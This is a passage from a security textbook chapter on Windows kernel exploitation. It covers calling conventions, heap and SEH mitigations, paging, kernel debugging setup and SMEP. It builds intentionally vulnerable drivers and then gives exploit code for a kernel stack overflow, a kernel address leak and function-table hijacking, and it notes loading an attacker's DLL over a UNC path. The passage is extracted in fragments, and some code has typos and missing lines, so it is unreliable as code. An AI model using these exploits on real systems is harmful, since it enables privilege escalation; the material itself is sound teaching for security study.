are pressed into the stack one by one in right-to-left order, and after the call is
complete, the called function clears those parameters and the return value of the
function is placed in the EAX.
64-bit Windows typically uses Microsoft’s x64 calling convention, where the first
four parameters are placed in RCX, RDX, R8, and R9, respectively, and more
parameters are stored on the stack, with the return value placed in RAX. Under
this calling convention, RAX, RCX, RDX, R8, R9, R10, R11 are stored by the
caller, and RBX, RBP, RDI, RSI, RSP, R12, R13, R14, R15 are stored by the callee.
#include <cstdio>
#include <cstdlib>
printf("Name?: ");
scanf("%s", name);
printf("Hello, %s\n", name);
return 0;
}
500 6 PWN
4. SEHOP, SafeSEH
SEH is an exception handling mechanism specific to Windows. In 32-bit Windows,
the SEH information is a singly linked list and stored on the stack. Because this
information contains the address of the SEH Handler, overwriting the SEH became a
common exploit to attack early Windows and its programs, so Microsoft introduced
two mitigating measures in the new version of Windows: SEHOP and SafeSEH.
SEHOP detects if the end of the SEH singly linked list points to a fixed SHE
Handler, or it terminates the program abnormally. SafeSEH detects whether the
SEH Handler currently in use points to a valid address of the current module,
otherwise, it terminates the program abnormally.
5. Heap Randomization
Windows has a number of heap protection mechanisms, the most impressive of
which is LFH randomization. For example.
#include <cstdio>
#include <cstdlib>
#include <Windows.h>
int main() {
for(int i = 0; i < 20; i++) {
printf("Alloc: %p\n", HALLOC(0x30));
}
return 0;
}
502 6 PWN
F:\Test\random>heap.exe
Alloc: 000002C58431EB10
Alloc: 000002C58431F0A0
Alloc: 000002C58431F0E0
Alloc: 000002C58431F120
Alloc: 000002C58431EE20
Alloc: 000002C58431F2E0
Alloc: 000002C58431F1E0
Alloc: 000002C58431EF20
Alloc: 000002C58431EF60
Alloc: 000002C58431EBA0
Alloc: 000002C58431F160
Alloc: 000002C58431F1A0
Alloc: 000002C58431EC20
Alloc: 000002C58431EFA0
Alloc: 000002C58431F220
Alloc: 000002C58431F260
Alloc: 000002C58431F2A0
Alloc: 000002C58431ECA0
Alloc: 000002C58431ED20
Alloc: 000002C58431F060
quite cumbersome, and you may encounter different local and remote environments
when you test the shellcodes. If you can call LoadLibrary, the workload can be
greatly reduced.
LoadLibrary is a Windows function used to load DLLs. Since it supports UNC
Path, you can call LoadLibrary (“\crattacker_ip\malicious.dll”) to load the DLL
provided by an attacker on a remote server, thus achieving arbitrary code execution
capability. Such an attack is more stable than shellcode execution.
It is worth mentioning that the new version of Windows 10 introduces a Disable
Remote Image Loading mechanism, which makes it impossible to load remote DLLs
using UNC Path if this mitigation measure is enabled when the program runs.
To the average programmer, the operating system kernel has always been a myste-
rious place, because most programmers are only responsible for using the various
functions and interfaces provided by the operating system kernel, and often do not
know the details of the operating system kernel's implementation, especially for the
non-open source Windows operating system.
If the system kernel is so far away from programmers, why do we spend time and
effort on it? Because the system kernel runs at the highly privileged level of the CPU,
not even System privileges, the theoretical highest privilege of the Windows oper-
ating system, can match it. If we have the privilege to operate at the kernel level, we
can do anything we want in the system. Although operating system kernel vulner-
abilities are more difficult to uncover and more difficult to exploit than application-
level vulnerabilities, they continue to attract security researchers.
This section will lead readers into the Windows kernel and explore its vulnera-
bilities and exploitation techniques, starting from the basics of the Windows kernel
and system architecture, and then gradually understanding kernel exploitation tech-
niques and kernel mitigation measures; at the same time, readers can experience the
technical competition between Microsoft security technicians and hackers, which
will give readers a deeper understanding of attack and defense.
Throughout the history of Intel processors, the Intel 80386 was the first 32-bit
processor, and the most advanced processors before that were only 16-bit. The
x86 or i386 architecture is now often referred to as the instruction set introduced
by the Intel 80386. From an operating system standpoint, the revolutionary changes
brought about by the Intel 80386 offered different execution models, and it was the
emergence of the privileged model that made the implementation of modern oper-
ating systems possible.
1. real mode
Real mode is a way to simulate the execution of Intel 8086 processors, which is what
the Intel 8086 uses. the post Intel 80386 processors use real mode to simulate the
execution of older processors, and all newer Intel processors run in real mode at
startup before switching to other execution modes. Only 16-bit registers, such as
AX, BX, SP, BP, etc., can be accessed in real mode, and there is no memory
protection mechanism or real process concept in the whole system, at most 1 MB
of memory can be accessed using the 16bit segment registers and 16bit offset values.
MS-DOS is a typical real-mode operating system, DOS operating system does not
really have the concept of multi-processing, only one process can run at a time. As
the reader will see later, modern Windows operating systems rely on the protection
mode of the Intel processor to implement multi-processing. In addition, DOS has no
concept of memory isolation protection and privilege hierarchy. In other words,
there is no distinction between kernel code and user code, and the code running on
DOS can modify any memory without restriction. This is a limitation of the pro-
cessor’s execution mode, not something that Microsoft does not want, but something
that the processor does not.
2. Protected mode
Protected mode is a new execution mode introduced by Intel 80386 and is the
cornerstone behind the implementation of modern operating systems. First of all,
in protected mode, Intel designed the concept of permission ring (Ring), and the idea
is to implement four rings, Ring0 to Ring3. Ring0 has the maximum privileges in
which many privileged instructions can be executed by the system kernel. Ring3 has
minimal privileges and is used by user applications. Ring1 and Ring2 are used by
intermediate privileged codes such as drivers. Although in practice neither Windows
nor UNIX-like system developers follow the Intel design, they end up using only
Ring0 and Ring3, where Ring0 is used to execute the operating system kernel, third-
party drivers, etc., and Ring3 is used to execute the user’s code. But the idea of
privilege isolation was definitely applied. Some sensitive register operation instruc-
tions, such as lgdt for global descriptor table register operation, lidt for interrupt
descriptor table operation, wrmsr for model-specific register (MSR) operation, and
direct IO operation instructions in and out, become privileged instructions that can
only be executed under Ring0. In addition, Intel has hooked the memory to the
6.9 Windows Kernel PWN 505
privilege ring so that Ring0 instructions can access Ring0 and Ring3 memory, while
Ring3 instructions can only access Ring3 memory, and accessing Ring0 memory
triggers a General Protect exception. Before we can go any further in understanding
how this protection is implemented, we need to understand how modern operating
systems address memory via protected mode processors.
described above. Although the segmentation mechanism and the global descriptor
table are not very useful on Windows, they still implement Intel’s idea of privilege-
based ring isolation.
Figure 6.24 shows the structure of a global descriptor table entry, where bits
13 and 14 are referred to as DPL and are used to identify a segment’s access
permissions.
If such a rule is violated during a memory access, it triggers Exception #0 in the
Interrupt Description Table IDT, the generic protection exception, which is a
memory access violation.
After getting the linear address, the next question is how to get the physical
address corresponding to the linear address, which is the real location of memory.
Undoubtedly, this is achieved through the paging mechanism.
6.9 Windows Kernel PWN 507
Intel processors support three paging architectures: 32-bit paging, PAE, and
4-level. 32-bit paging is the paging model used in the era of 32-bit processors and
supports up to 4 GB of physical memory, which is a limitation of this paging. PAE is
also a paging structure used by 32-bit processors, which is designed to allow the
operating system to support more physical memory by changing the two-level
structure of page-directory PD and page-table PT to a three-level structure of
page-directory pointer PDP, page-directory PD, and page-table PT, thus realizing
the goal that mapping 32-bit linear addresses to 52-bit physical addresses, extending
the addressing capabilities of 32-bit processors. 4-level pagination, as the name
suggests, adds PML4 to PAE, mapping 48-bit linear addresses to 52-bit physical
addresses.
The following is based on the 4-level addressing 64-bit Windows 10, see
Fig. 6.26 for the addressing process. First, we get the base address of the PML4
table from the CR3 register and read the value from the CR3 register with “r cr3”.
6.9 Windows Kernel PWN 509
Fig. 6.28 The structure of CR3 register. (Image from Intel documentation)
The value of the CR3 register is 0x1aa002 (see Fig. 6.27), and there are also flag
and reserved fields, the structure of which is shown in Fig. 6.28.
According to the rule, we take the domain of CR3 over 12 bits, so the base
address of PML4 is 0x1aa000, and bits 39–47 of the linear address represent the
serial number of PML4E, i.e. item 0x1f0, see Fig. 6.29. Since the PML4 memory
address signed by the CR3 register is the physical memory address, we need to use
the extended command !dq to observe in Windbg.
PML4E (i.e., the 0x1f0 term) has a value of 0x4a08063 (see Fig. 6.30), which
also has its structure type, see Fig. 6.31, where values below 12 bits exist as flag bits,
and by this rule, the base address of PDPT is 0x4a08000 (physical address). Also,
bits 30–38 of the linear address indicate the serial number of the PDPTE, which is
5 (see Fig. 6.32), resulting in a PDPTE of 0x4a09063, see Fig. 6.33.
The structure of PDPTE is shown in Fig. 6.34, where the base address of PD is
0x4a09000. bits 21-29 of the linear address indicate the serial number of PDE, which
is calculated to be 0x49.
Similarly, accessing physical memory with the !dq command yields a PDE 0x49
of 0x4a17063, see Fig. 6.35.
The structure of the PDE is shown in Fig. 6.36, with the same lower 12 bits for the
flag and reserved bits. Therefore, the base address of the PT is calculated to be
0x4a17000 (physical address). Bits 12 to 20 of the linear address are the serial
510 6 PWN
number of the PTE, and the serial number is calculated to be 0x47. Read the physical
memory via !dq to see the contents of PTE 0x47, and we can get the value
0x90000000323d021, see Fig. 6.37.
Based on the structure of the PTE (Fig. 6.38), the address of the physical page
frame is 0x323d000. Bits 0 to 11 (i.e., lower 12 bits) of the linear address represent
the offset value in the 4 KB physical memory page, which is 0xcd0. Therefore, the
6.9 Windows Kernel PWN 511
Fig. 6.38 The structure of the PTE. (Image from Intel documentation)
data results, see Fig. 6.40. We can find that the data is completely the same, which
indicates that the virtual address 0xFFFFF80149247CD0 points to the physical
address 0x323dcd0. After understanding the memory paging process, let’s see
how the permission ring idea is reflected in memory paging. The U/S bit is used to
describe the access rights to the memory space represented by the table entry, if U/S
is 0, the code with permission ring 3 cannot access this memory space. Therefore,
Windows divides memory into two parts, user space, and kernel space, through this
mechanism.
Through the memory segmentation and paging mechanism, the Windows system
divides memory into user space and system space. Each process has its own
independent virtual memory space, and the virtual memory space of each process
is independent and equal, and the sum of the virtual memory space of the process can
be much larger than the physical memory space. The corresponding virtual address
space is mapped to the actual physical memory only when the process’s virtual
memory is accessed, which is accomplished through a missing page interrupt. The
virtual memory space within a process is also divided into two parts: user space and
kernel space. The user space of each process is mapped to a separate area of physical
memory, but the kernel space is shared by all processes; in other words, the kernel
space of each process is mapped to the same area of physical memory.
Of course, there are some exceptions, such as System processes that have only
kernel space and are containers for all kernel threads. Figure 6.41 shows the overall
6.9 Windows Kernel PWN 515
Fig. 6.41 The overall architecture of a Windows operating system. (Image from MSDN document)
architecture of a Windows operating system, parts running in user space contain user
processes, subsystems, system services, and system processes. Of course, the divi-
sions overlap, but the end-user state code depends on ntdll.dll for access to the kernel
state. ntdll.dll provides a set of system calls for user-state programs to use the system
kernel’s functions. These calls are called Native APIs, which are implemented in a
similar way to UNIX-like operating systems, with switching to the kernel state via
interrupts or quick system calls (sysenter) and subsequent calls distributed via the
System Service Dispatcher Table (SSDT).
The Windows kernel is composed of two parts: the kernel executor and the kernel
core, as defined by Microsoft. The kernel executor refers to the upper level of the
516 6 PWN
Windows kernel, including the I/O manager, process manager, memory manager,
etc., but in reality, these “managers” are just a series of functions in the NT module.
The core of the kernel is composed of some lower-level support functions of the NT
module. Unlike the UNIX-like kernel, the graphic part of the Windows operating
system is also implemented in the kernel space, and Windows provides Shadow
SSDT for distributing graphic calls, which are independent of the NT module and
stored in modules such as win32k.sys and dxgkrnl.sys.
Another important component of the kernel space is the driver. For Windows
operating systems, a kernel driver can be completely undriven by any hardware,
which just means that the code runs in the kernel state. The kernel driver includes
third-party drivers and system-owned drivers, and the I/O manager in the Windows
kernel executable is responsible for interacting with the kernel driver. The kernel
driver interaction design is similar to the messaging mechanism of the Windows
user-state GUI, which provides a message packet called IRP. The kernel driver
sequentially processes the IRP message packet through a stack of device objects and
interacts with the kernel executable’s I/O manager for feedback. When a user-state
application wants to access the kernel driver and pass data, it needs to invoke a user-
state-related Native API, which will call the corresponding function in the kernel
executable I/O manager. These functions are responsible for processing the user-
state request and generating IRP packets to be passed to the kernel driver.
The bottom layer of the Windows kernel is the HAL hardware abstraction layer,
where code exists for the same functionality on many different hardware platforms,
to isolate hardware differences from the top layer and allow the top layer to use a
unified interface.
Open the “Run” dialog box with the Win+R key combination, type “msconfig”,
the dialog box shown in Fig. 6.42 will appear, select “Boot”. tab, select the startup
project that you want to set as debug startup and click Advanced Options.
In the dialog box that appears (see Fig. 6.43), check the “Debug” checkbox, and
in the “Global debug settings” section, select select “COM1” (serial port 1) in the
“Debug port” drop-down list. In the “Baud rate” drop-down list, select the baud rate
of “115200”. At this point, the client is set up, and the next step is to set up the
VMware virtual machine to add a serial port.
Open Virtual Machine Settings, click the Add button to add new hardware, select
Serial Port in the dialog box that appears (see Fig. 6.44), and then click the “Finish”
button.
Our operation creates a new serial port named Serial Port 2 (see Fig. 6.45)
because the virtual printer that comes with VMware occupies Serial Port 1. Select
“Printer” and click the “Remove” button to remove the virtual printer. Repeat the
above operation to successfully create serial port 1.
Select “Use named pipe” on the right side of the Serial Port (see Fig. 6.46) to use
the named pipe. Named pipes are a means of process communication in Windows,
and can be thought of simply as two processes mapping a shared piece of memory
6.9 Windows Kernel PWN 519
together. In short, VMware provides a means to emulate a serial port using a named
pipe. Select “This end is the server” and “The other end is an application”.
We need to set up Windbg on the host side. Select “Attach to kernel” and choose
“COM” on the right side (see Fig. 6.47); select Pipe and fill in the baud rate and port,
which should be the same as the one in the VMware virtual machine.
After starting debugging, Windbg waits for the client to connect. After a success-
ful connection, Windbg gives the breakpoints shown in Figs. 6.48 and 6.49, which
are breakpoints thrown by the debugger on its initiative. You can then use Windbg to
debug the kernel.
520 6 PWN
Kernel vulnerabilities are often more valuable than user-level vulnerabilities due to
the specificity of kernel code privileges. Depending on the attack path, kernel
vulnerabilities can be classified as either local access or remote access. For local
access, the attacker needs to log in to the target computer, which is always done with
a low-privilege account. Therefore, locally accessible kernel vulnerabilities are
generally used for privilege escalation, which is common in post-penetration testing
for privilege maintenance. The kernel vulnerabilities that can be accessed remotely
are more dangerous, such as the famous CVE-2017-0144 (MS-07-010), CVE-2019-
0708, etc. These are powerful vulnerabilities that can be used to remotely obtain the
highest system privileges.
6.9 Windows Kernel PWN 521
According to the timeline, Microsoft provides three models for driver development:
NT-style, WDM, and WDF. The following describes how to configure an NT-style
driver development environment.
First of all, you need to install Visual Studio, which is the officially recommended
IDE for Windows driver development by Microsoft, and since the driver debugging
environment involves Windows 10, it is recommended to use Visual Studio 2015
and above for development, and Windows 10 and above should be installed as well.
The Windows Driver Kit (WDK) provides the header files, library files, and
toolchains needed by the development of drivers. The WDK is available in
Microsoft’s Hardware Dev Center and provides information on how to install and
configure it, so I won’t go into detail on how to install the WDK.
After a successful installation of WDK, open Visual Studio and select Create
New Project. Because WDK 10 uses the WDF driver model by default, the WDF
6.9 Windows Kernel PWN 523
Device 1 Driver A
Driver B Device 2
Device 1 Driver C
driver model divides the driver into a kernel-mode driver and a user-mode driver and
introduces the concepts of KMD and UMD. Microsoft intends to extract the old
kernel driver code, which has little to do with the kernel and hardware, into user
mode to increase efficiency and reduce the attack surface. If you just want to write a
simple NT-style driver, select “Kernel Mode Driver, Empty (UMDF V2)”.
Once the project is created, you can start writing the vulnerability program. The
first step is to write an entry function for the driver. Because a program, whether it is
a regular Win32 program or a DLL, needs a function as an entry point, this entry
point will be called and executed first. For a Windows driver, this entry point has a
fixed format (see Fig. 6.50), and the default function name for a general linker is
DriverEntry.
The DriverObject parameter of the DriverEntry function represents the driver
object of the current driver. Since the driver is dependent on the device for Windows
driver development, the target of IRP operations is the device and the actual code
executed by the device is the driver.
Typically, a driver creates one or more device objects that are associated with
driver objects of this driver. See Fig. 6.51 for the structure of a stack of device
objects, and the actual execution of the driver code associated with a device object
when the IRP reaches it.
Therefore, our driver needs to write the following entry function.
#include <ntddk.h>
#define DEBUG FALSE
PIO_STACK_LOCATION CurIrpStack;
ULONG ReadLength, WriteLength;
NTSTATUS status = STATUS_UNSUCCESSFUL;
CurIrpStack = IoGetCurrentIrpStackLocation(IrpPtr);
ReadLength = CurIrpStack->Parameters.Read.Length;
WriteLength = CurIrpStack->Parameters.Write.Length;
// Vulnerability code
}
IoDeleteDevice(DeviceObject);
IoDeleteSymbolicLink(&SymbolLinkName);
return STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING
RegistryPath) {
UNICODE_STRING DeviceObjName = { 0 };
NTSTATUS status = 0;
UNREFERENCED_PARAMETER(RegistryPath);
#if DEBUG
__debugbreak();
#endif
RtlInitUnicodeString(&DeviceObjName, L"\crDevice
\crtarget_device");
status = IoCreateDevice(DriverObject,
0,
&DeviceObjName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&DeviceObject);
6.9 Windows Kernel PWN 525
if (!NT_SUCCESS(status)) {
DbgPrint("Create Device Failed\n");
RtlFreeUnicodeString(&DeviceObjName);
return STATUS_FAILED_DRIVER_ENTRY;
}
DeviceObject->Flags |= DO_BUFFERED_IO;
RtlInitUnicodeString(&SymbolLinkName, L"\cr??
\crtarget_symbolic");
status = IoCreateSymbolicLink(&SymbolLinkName, &DeviceObjName);
if (!NT_SUCCESS(status)) {
DbgPrint("Create SymbolicLink Failed\n");
IoDeleteDevice(DeviceObject);
RtlFreeUnicodeString(&SymbolLinkName);
RtlFreeUnicodeString(&DeviceObjName);
return STATUS_FAILED_DRIVER_ENTRY;
}
In addition, parameters that are not used in the function need to be indicated using
the UNREFERENCED_PARAMETER macro, which is a null macro, since the
driver will treat the warning as an error at compile time and will not be able to
compile without it.
Design another IOCTL code that will be passed in the DeviceIoControl function
and finally received in the MajorFunction of IRP_MJ_DEVICE_CONTROL.
#define SOF_CTL_CODE \
(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, CODE_SOF, METHOD_BUFFERED,
FILE_READ_DATA|FILE_WRITE_DATA)
The IOCTL code is just an integer value but is divided into 4 fields by meaning.
the CTL_CODE macro is just a shift operation that can be used to define our oOCTL
code. Since our driver doesn’t drive any hardware, we need to specify the
FILE_DEVICE_UNKNOWN type. METHOD_BUFFERED indicates that we will
be interacting with the buffered I/O model, and CODE_SOF is a value we need to
set, as long as it doesn’t conflict with a Windows reserved value, it is fully
customizable.
Also, we add the following code to IRP_MJ_DEVICE_CONTROL’s
MajorFunction, DispatchControl function.
PIO_STACK_LOCATION CurIrpStack;
ULONG ReadLength, WriteLength;
6.9 Windows Kernel PWN 527
CurIrpStack = IoGetCurrentIrpStackLocation(IrpPtr);
ReadLength = CurIrpStack->Parameters.Read.Length;
WriteLength = CurIrpStack->Parameters.Write.Length;
// Vulnerability code
PacketPtr = (PCONTROL_PACKET)IrpPtr->AssociatedIrp.SystemBuffer;
BufferSize = PacketPtr->Parameter._SOF.BufferSize;
RtlCopyMemory(StackBuffer, PacketPtr->Parameter._SOF.Buffer,
BufferSize);
IrpPtr->IoStatus.Status = STATUS_SUCCESS;
IrpPtr->IoStatus.Information = sizeof(CONTROL_PACKET);
IoCompleteRequest(IrpPtr, 0);
return STATUS_SUCCESS;
}
This function receives IRP packets passed by the I/O manager as parameters. IRP
packets are a multi-layered stack structure, for this purpose, it is necessary to use
IoGetCurrentIrpStackLocation to get the current IRP stack. structure. There is a
union called Parameters in the IRP stack, which will be different structures according
to the type of the IRP. Here, since we are using the Buffer I/O pattern, we can get a
pointer to the data through IrpPtr->AssociatedIrp.SystemBuffer and then implement
an example of stack overflow by declaring a buffer in the stack and calling the
RtlCopyMemory function.
Similar to stack overflow, we also design a transfer data structure to pass data and
define an IOCTL value.
#define WAA_CTL_CODE \
(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,CODE_WAA,METHOD_BUFFERED,
FILE_READ_DATA|FILE_WRITE_DATA)
} Parameter;
} CONTROL_PACKET, *PCONTROL_PACKET;
PIO_STACK_LOCATION CurIrpStack;
ULONG ReadLength, WriteLength;
PCONTROL_PACKET PacketPtr = NULL;
INT64 WhatValue = 0;
INT64 WhereValue = 0;
CurIrpStack = IoGetCurrentIrpStackLocation(IrpPtr);
ReadLength = CurIrpStack->Parameters.Read.Length;
WriteLength = CurIrpStack->Parameters.Write.Length;
// Vulnerability code
PacketPtr = (PCONTROL_PACKET)IrpPtr->AssociatedIrp.SystemBuffer;
WhatValue = PacketPtr->Parameter._AAW.What;
WhereValue = PacketPtr->Parameter._AAW.Where;
*((PINT64)WhereValue) = WhatValue;
IrpPtr->IoStatus.Status = STATUS_SUCCESS;
IrpPtr->IoStatus.Information = sizeof(CONTROL_PACKET);
IoCompleteRequest(IrpPtr, 0);
return STATUS_SUCCESS;
}
The examples used are all NT drivers, so we will only describe how to load NT
drivers, which are relatively simple to load and are loaded by registering them as
system services, which are managed by a Service Control Manager process named
services.exe, which is also loaded internally by calling the NtLoadDriver function.
Of course, not every process can load the kernel driver by calling NtLoadDriver, but
there is a privilege called SeLoadDriverPrivilege in the Windows operating system,
which is only available to Tokens with System privileges.
In this section, the driver is also loaded by means of the most formal SCM
registration service.
6.9 Windows Kernel PWN 529
hDriverService = CreateServiceA(hServiceManager,
ServiceName,
ServiceName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
DriverPath,
NULL,
NULL,
NULL,
NULL,
NULL);
if (NULL == hDriverService) {
ErrorCode = GetLastError();
if (ErrorCode != ERROR_IO_PENDING && ErrorCide !=
ERROR_SERVICE_EXISTS) {
printf("CreateService Fail: %d\n", ErrorCode);
ErrorExit();
}
else {
printf("Service is exist\n");
}
if (NULL == hDriverService) {
printf("OpenService Fail: %d\n", GetLastError());
return 0;
}
}
Call OpenSCManager to open the SCM, get a handle, and then call CreateService
to create a service with that handle. If the service has already been created, the
CreateService function returns NULL, and the OpenService function needs to be
called to open the existing service. Once you have the service's handle, the next step
is to start the service and its driver is loaded.
Due to the DSE (Driver Signature Enforcement) protection in higher versions of
Windows, we cannot directly load the example driver we wrote ourselves. If you try
to load an unsigned driver, it will return a failure at the start of the service. For this
reason, it is necessary to start the service in a mode that disables DSE. In Windows,
go to the Settings window and select Update & Security ! Recovery ! Advanced
Startup; select Troubleshooting ! Advanced Options. .Next select “Boot Settings
! 7) Disable Driver Signature Enforcement”.
We have chosen Windows 7 as the starting point for Windows kernel exploits
because the Windows 7 operating system lacks protection against kernel exploits.
It can be said that Windows 7 is defenseless against kernel exploits.
The advantages of Windows 7 for kernel exploitation are as follows. First, there is
executable memory in kernel space, and although Windows 7 has introduced DEP
(Data Execution Protection), it has not introduced this vulnerability mitigation into
kernel space. The executable kernel pool memory gives us the imagination to store the
shellcode in the kernel space. Secondly, the Windows 7 kernel does not segregate the
memory pages with ring0 privileges from those with ring3 privileges at the execution
level. In other words, we can manually map an executable memory page to user space
in the user state in advance via a function such as VirtualAlloc, and then jump from
kernel space to our mapped user memory page to execute it (which must be in the same
process context), again providing room for imagination in storing shellcode.
In addition, some Native APIs can leak the addresses of kernel modules. These
Native APIs are not intended to be used directly by the user, and they correspond to
some kernel APIs, so some APIs are not designed with the kernel address leakage in
mind. For example, the SystemModuleInformation function of the
NtQuerySystemInformation function can obtain the kernel module’s base address
information (see Fig. 6.52).
When generating the code for the Windows 7 driver example, note that to set the
target platform for the Visual Studio project, you need to set the Target OS Version
to Windows 7 and the Target Platform to Desktop.
1. kernel stack overflow exploitation
The exploitation of kernel stack overflow is relatively simple, simply overwriting the
return address of the kernel stack. The reader already has a good understanding of
stack overflow, so I will not repeat it here. By disassembling, we analyze the kernel
overflow space to be 0x28 bytes and therefore write the following code.
hDevice = CreateFile(DEVICE_SYMBOLIC_NAME,
GENERIC_ALL,
0,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_SYSTEM,
0);
if (hDevice == INVALID_HANDLE_VALUE) {
DWORD ErrorCode = GetLastError();
printf("CreateFile = %d\n", ErrorCode);
return 0;
}
*(PINT64)&Packet.Parameter._SOF.Buffer[0x28] = (INT64)Address;
if (!DeviceIoControl(hDevice,
WAA_CTL_CODE,
&Packet,
sizeof(Packet),
&Packet,
sizeof(Packet),
&BytesReturn,
0)) {
DWORD ErrorCode = GetLastError();
printf("DeviceIoControl = %d\n", ErrorCode);
return 0;
}
In the exploit code, we first call the CreateFile function to pass the symbolic link
name of the device, open the device object and get a handle. Then we fill 28 bytes of
junk data, which can be calculated by analyzing the stack overflow site. After the
532 6 PWN
0x28 bytes is the actual overwritten return address, we need to allocate a piece of
executable memory in the user state via the VirtualAlloc function and set the return
address to the address of this piece of memory.
When the kernel driver performs a replication operation, it overwrites the return
address on the stack with the memory address allocated by the user state for read-
write execution. The reason for this implicitly is that the process context of the kernel
driver is the same as that of the calling process.
kd> .process
Implicit process is now fffffa80`1ba2b7d0
kd> !process fffffa80`1ba2b7d0 0
PROCESS fffffa801ba2b7d0
SessionId: 1 Cid: 0bbc Peb: 7fffffdb000 ParentCid: 0d60
DirBase: 168fc000 ObjectTable: fffff8a001ff3b80 HandleCount: 8.
When the kernel driver returns from the function stack, it jumps to the memory
space allocated by the user state for execution, as shown in Fig. 6.53.
6.9 Windows Kernel PWN 533
HAL_DISPATCH HalDispatchTable = {
HAL_DISPATCH_VERSION,
xHalQuerySystemInformation,
xHalSetSystemInformation,
xHalQueryBusSlots,
0,
xHalExamineMBR,
xHalIoAssignDriveLetters,
xHalIoReadPartitionTable,
xHalIoSetPartitionInformation,
xHalIoWritePartitionTable,
xHalHandlerForBus,
xHalReferenceHandler,
xHalReferenceHandler,
xHalInitPnpDriver,
xHalInitPowerManagement,
(pHalGetDmaAdapter) NULL,
xHalGetInterruptTranslator,
xHalStartMirroring,
xHalEndMirroring,
xHalMirrorPhysicalMemory,
xHalEndOfBoot,
xHalMirrorPhysicalMemory
};
PVOID leak_nt_module(VOID) {
DWORD ReturnLength = 0;
PSYSTEM_MODULE_INFORMATION ModuleBlockPtr = NULL;
NTSTATUS Status = 0;
DWORD i = 0;
Status = NtQuerySystemInformation(SystemModuleInformation,
NULL,
6.9 Windows Kernel PWN 535
0,
&ReturnLength);
ModuleBlockPtr = (PSYSTEM_MODULE_INFORMATION)HeapAlloc
(GetProcessHeap(),
HEAP_ZERO_MEMORY, ReturnLength);
Status = NtQuerySystemInformation(SystemModuleInformation,
ModuleBlockPtr,
ReturnLength,
&ReturnLength);
if (!NT_SUCCESS(Status)) {
printf("NtQuerySystemInformation failed %x\n", Status);
return NULL;
}
the function in the corresponding lib file while linking. Of course, it is also possible
to change the *.cpp suffix to *.c so that you don’t need the extern “C”.
Open the project properties page, select “Linker ! Input”, and add “ntdll.lib” to
the “Additional Dependencies”, because The NtQuerySystemInformation function
is exported from ntdll.dll. Of course, it is also possible to add libs using Visual
Studio’s compiler macros.
We succeeded in obtaining the base address of the NT module (see Fig. 6.56).
Other methods of leaking kernel module addresses or other object addresses using
functions are similar and will not be repeated. For further information on other
methods, we recommend searching Github for an open-source project called
windows_kernel_address_leaks, which provides a good summary.
In summary, we wrote the following exploitation code.
PVOID leak_nt_module(VOID) {
DWORD ReturnLength = 0;
PSYSTEM_MODULE_INFORMATION ModuleBlockPtr = NULL;
NTSTATUS Status = 0;
DWORD i = 0;
PVOID ModuleBase = NULL;
PCHAR ModuleName = NULL;
Status = NtQuerySystemInformation(SystemModuleInformation, NULL,
0, &ReturnLength);
ModuleBlockPtr = (PSYSTEM_MODULE_INFORMATION)HeapAlloc
(GetProcessHeap(),
HEAP_ZERO_MEMORY, ReturnLength);
Status = NtQuerySystemInformation(SystemModuleInformation,
ModuleBlockPtr,
ReturnLength, &ReturnLength);
if (!NT_SUCCESS(Status)) {
printf("NtQuerySystemInformation failed %x\n", Status);
538 6 PWN
return NULL;
}
int main() {
HANDLE hDevice = NULL;
CONTROL_PACKET Packet = {0};
DWORD BytesReturn = 0;
LPVOID Address = NULL;
PVOID NtBase = NULL;
NtBase = leak_nt_module();
hDevice = CreateFile(DEVICE_SYMBOLIC_NAME,
GENERIC_ALL,
0,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_SYSTEM,
0);
if (hDevice == INVALID_HANDLE_VALUE) {
DWORD ErrorCode = GetLastError();
printf("CreateFile = %d\n", ErrorCode);
return 0;
}
*(PINT64)((INT64)Address + 8) = (INT64)Address + 8;
NtQueryIntervalProfile(ProfileTotalIssues, (PULONG)(INT64)Address +
6.9 Windows Kernel PWN 539
8);
system("pause");
return 0;
}
Fig. 6.59 The called from the global function table in win32k
PVOID leak_nt_module(VOID) {
DWORD ReturnLength = 0;
if (!NT_SUCCESS(Status)) {
printf("NtQuerySystemInformation failed %x\n", Status);
return NULL;
}
}
return NULL;
}
int main() {
HANDLE hDevice = NULL;
CONTROL_PACKET Packet = {0};
DWORD BytesReturn = 0;
LPVOID Address = NULL;
PVOID NtBase = NULL;
NtBase = leak_nt_module();
D3DKMTAcquireKeyedMutex(NULL);
system("pause");
return 0;
}
In this exploit, the base address of the win32k.sys module is leaked through
NtQuerySystemInformation, and then the address of the function table is calculated
and hijacked by writing arbitrary addresses.
Since Windows 7, each new generation of Windows operating system releases has
more added mitigation measures for kernel vulnerability protection, such as NULL
542 6 PWN
Dereference Protection, NonPagedPoolNX, Intel SMEP, Intel Secure Key, int 0x29,
and Win32K Filter, etc. SMEP (Supervisor Mode Execution Protection) is a vulner-
ability mitigation measure introduced by Intel in CPUs to prevent the execution of
code in the Ring3 address space in privileged Ring0 mode. Intel introduced the
SMEP feature in Ivy Bridge in 2011, but Windows OS did not support it until
Windows 8.
Let’s look at the details of the SMEP. First, Intel sets the SMEP switch at bit 20 of
the CR4 register, see Fig. 6.60. If SMEP is enabled, attempts to execute code in the
user-mode address space with Ring0 privileges will be rejected, see Fig. 6.61.
At the same time, since Windows 8.1, there are restrictions on kernel address
disclosure functions, which are implemented through process integrity level control.
In Windows operating systems, the security of processes or other kernel objects are
governed by a Discretionary Access Control Label (DACL). The process integrity
level can be considered as a special item of the DACL, which is also located in the
process token.
The process integrity levels are System, High, Medium, Low, and untrusted, and
for kernel exploitation, they mainly limit the access to kernel information through
these functions at lower integrity levels.
As a result of these mitigations, on the one hand, it is difficult to leak kernel
addresses and on the other hand, it is difficult to allocate appropriate memory for the
shellcode, although it is still possible to exploit the kernel address vulnerability in
combination with a memory corruption vulnerability, the cost is relatively high.
Therefore, attackers consider not using the shellcode when exploiting the kernel, but
rather seek to exploit it by seeking to obtain read and write primitives, i.e., to convert
the vulnerability into an unrestricted arbitrary address (absolute or relative) read and
6.9 Windows Kernel PWN 543
write operation, and then achieve the final exploitation by reading and writing any
address.
